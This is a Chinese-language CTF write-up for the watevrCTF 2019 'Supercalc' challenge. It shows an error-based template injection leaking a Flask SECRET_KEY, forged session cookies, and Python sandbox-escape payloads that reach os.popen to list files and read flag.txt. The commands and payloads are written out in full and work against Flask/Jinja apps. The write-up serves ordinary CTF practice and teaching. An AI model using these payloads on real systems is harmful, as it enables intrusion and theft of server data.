[2019watevrCTF]Supercalc wireup

calc！这个界面看着就像ssti

这里直接输入报语法错误，ast是python的模块，set应该是指我们输入的{}

查看header发现有session，应该是flask session伪造

利用脚本（https://github.com/noraj/flask-session-cookie-manager）flask session解密
注意这里如果自己的输入语法不对，对应的session没法解密的，要是正常输入数字加减乘除运算式才行。

Cookie: session=eyJoaXN0b3J5IjpbeyJjb2RlIjoiMSArIDEifV19.Yea8tw.BJxbr6NJNlCPYPcKdFBiZchpOqIpython3 flask_session_cookie_manager3.py decode -c eyJoaXN0b3J5IjpbeyJjb2RlIjoiMSArIDEifV19.Yea8tw.BJxbr6NJNlCPYPcKdFBiZchpOqI
# b'{"history":[{"code":"1 + 1"}]}'

SSTI报错注入，#应该是注释吧？
因为{}会因为不合语法被拦截，但是/0会报错了

1/0#{{8*9}}

输入太长也会被拦截，只能先config查看全局变量

1/0#{{config}}# Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'cded826a1e89925035cc05f0907855f7', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

'这种是html实体，解码一下比较好看，得到key'SECRET_KEY': 'cded826a1e89925035cc05f0907855f7'
直接执行会被拦截（说是太长了？），需要构造session进行ssti
有'或者"的地方要\转义!!!

''.__class__$ python3 flask_session_cookie_manager3.py encode -s 'cded826a1e89925035cc05f0907855f7' -t "{\"history\":[{\"code\":\"\'\'.__class__\"}]}"
eyJoaXN0b3J5IjpbeyJjb2RlIjoiJycuX19jbGFzc19fIn1dfQ.YebNnA.F6g_FPhduQk0EtVlB3vDzlDI6bY

找object父类
''.__class__.__mro__	
# (<class 'str'>, <class 'object'>) 找object可用引用
''.__class__.__mro__[1].__subclasses__() 
# [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'contextlib.ContextDecorator'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'Struct'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'textwrap.TextWrapper'>, <class '__future__._Feature'>, <class 'zipfile.ZipInfo'>, <class 'zipfile._ZipDecrypter'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'pyexpat.xmlparser'>, <class 'plistlib.Data'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class 'gunicorn.pidfile.Pidfile'>, <class 'gunicorn.sock.BaseSocket'>, <class 'gunicorn.arbiter.Arbiter'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'shlex.shlex'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'gunicorn.reloader.InotifyReloader'>, <class 'gunicorn.config.Config'>, <class 'gunicorn.config.Setting'>, <class 'gunicorn.debug.Spew'>, <class 'gunicorn.app.base.BaseApplication'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'queue.Queue'>, <class 'logging.handlers.QueueListener'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'logging.config.ConvertingMixin'>, <class 'logging.config.BaseConfigurator'>, <class 'gunicorn.glogging.Logger'>, <class 'gunicorn.http.unreader.Unreader'>, <class 'gunicorn.http.body.ChunkedReader'>, <class 'gunicorn.http.body.LengthReader'>, <class 'gunicorn.http.body.EOFReader'>, <class 'gunicorn.http.body.Body'>, <class 'gunicorn.http.message.Message'>, <class 'gunicorn.http.parser.Parser'>, <class 'gunicorn.http.wsgi.FileWrapper'>, <class 'gunicorn.http.wsgi.Response'>, <class 'gunicorn.workers.workertmp.WorkerTmp'>, <class 'gunicorn.workers.base.Worker'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]
<class 'os._wrap_close'>是118个利用os._wrap_close类中的popen读取目录
''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('ls').read()
{\"history\":[{\"code\":\"\'\'.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__[\'popen\'](\'ls\').read()\"}

有flag.txt，读取即可

$ python3 flask_session_cookie_manager3.py encode -s 'cded826a1e89925035cc05f0907855f7' -t "{\"history\":[{\"code\":\"\'\'.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__[\'popen\'](\'cat flag.txt\').read()\"}]}"
.eJwdikEKwyAQAL9S9rJ6ETwV8hWRZWNsKths0C20hPy9NrdhZg54lq7SvjCFA5IsGSZAdESpcu9Eg15NiIKPA_t7vnwexdjg_f1vy1b0OtcqM9fRAu6y5w2jwcR6e1RenX4UrWuZF2PhjOcPT9EqVw.YebUiQ.ZL6mievLBRlEww4fyrwgaT5BmQ8# Cookie: session=.eJwdikEKwyAQAL9S9rJ6ETwV8hWRZWNsKths0C20hPy9NrdhZg54lq7SvjCFA5IsGSZAdESpcu9Eg15NiIKPA_t7vnwexdjg_f1vy1b0OtcqM9fRAu6y5w2jwcR6e1RenX4UrWuZF2PhjOcPT9EqVw.YebUiQ.ZL6mievLBRlEww4fyrwgaT5BmQ8

然后看到别的大佬直接import os的payload：__import__("os").popen("cat flag.txt").read()

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"